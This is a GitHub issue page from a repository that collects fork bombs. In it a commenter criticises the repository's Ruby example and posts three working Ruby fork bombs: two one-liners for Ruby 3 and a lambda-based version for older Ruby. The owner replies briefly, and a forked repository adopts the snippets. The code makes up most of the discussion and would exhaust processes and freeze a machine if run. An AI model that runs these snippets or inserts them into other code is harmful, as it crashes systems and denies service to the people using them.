Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ruby example isn't good #21

Open
Souravgoswami opened this issue Jul 12, 2022 · 1 comment
Open

Ruby example isn't good #21

Souravgoswami opened this issue Jul 12, 2022 · 1 comment

Comments

@Souravgoswami
Copy link

Souravgoswami commented Jul 12, 2022

The Ruby example loops and forks... I don't think it's a fork bomb at all.

A fork bomb in Ruby 3 will look like this:

#!/usr/bin/env -S ruby --disable-gems
method(def f = fork { f && sleep }).call

There's no loop inside. The method f calls itself. It requires no file load, no loop.

Modified version for Ruby 3 only:

#!/usr/bin/env -S ruby --disable-gems
send(def f = fork { f && sleep })

For lower Ruby versions, we can use stabby lambda, lambda or a proc:

#!/usr/bin/env -S ruby --disable-gems
(f = -> { fork { f.() && sleep } }).()
KoraggKnightWolf added a commit to KoraggKnightWolf/fork-bomb that referenced this issue Dec 12, 2022
KoraggKnightWolf added a commit to KoraggKnightWolf/fork-bomb that referenced this issue Dec 12, 2022
Taken from aaronryank#21 for Ruby 3 only.
KoraggKnightWolf added a commit to KoraggKnightWolf/fork-bomb that referenced this issue Dec 12, 2022
Taken from aaronryank#21 for versions of Ruby older than Ruby 3 only.
@aaronryank
Copy link
Owner

well hey I can't create a pull request for you :P

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants